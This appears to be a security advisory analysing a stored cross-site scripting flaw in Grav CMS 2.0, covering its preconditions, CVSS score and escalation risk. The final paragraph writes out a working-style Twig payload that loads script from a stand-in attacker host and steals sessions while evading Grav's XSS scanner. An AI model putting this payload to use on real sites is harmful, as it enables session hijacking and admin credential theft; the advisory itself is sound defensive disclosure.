Grav CMS CVE-2026-86197

Exploitation requires an authenticated account with page-edit rights on a Grav 2.0 installation running the default configuration (security.twig_content.process_enabled: true and no explicit process: { twig: false } in the target page's frontmatter). No special permissions beyond basic page editing are needed - the sandbox allowlist applies to all page editors regardless of whether the admin.pages_twig permission or the per-page Twig override checkbox is granted. A passive victim (any site visitor, including administrators) must load the affected page to trigger JavaScript execution. Grav 1.7 installations are not affected. Sites where page editing is restricted exclusively to fully trusted administrators have no realistic exploitation surface.

The CVSS 4.0 score of 5.1 (Medium) reflects the PR:L (authenticated page editor) and UI:P (passive victim page load) constraints, which correctly limit the raw score. However, the real-world risk to multi-author Grav 2.0 instances is meaningfully higher than the score suggests: because the injected script executes in every visitor's browser including administrators, a low-privilege compromise can escalate to full site takeover via session hijacking or credential theft. The XSS scanner bypass is a compounding factor - standard Grav defences do not flag the payload at save time, making detection difficult without server-side log analysis. The CVSS 4.0 subsequent-system impact (SC:L/SI:L) acknowledges the admin-escalation path but conservatively scores it as low. No KEV listing and no confirmed public POC are recorded at time of analysis, indicating no observed mass exploitation. EPSS data was not supplied. For sites with untrusted or externally managed page editors, risk should be treated as elevated regardless of the numeric score.

A user holding only page-editor rights creates or edits a Grav page and inserts a Twig expression such as {{ assets.addJs('https://attacker.com/c2.js" onload="stealSession()') }} into the page body. Because addJs is allowlisted and returns an object key rather than markup, Grav's XSS scanner passes the content as safe. When any site visitor - including an administrator - loads the published page, the theme emits an unescaped <script src> tag into the document head, executing the attacker's JavaScript in the victim's browser and potentially delivering session tokens or admin credentials to the attacker.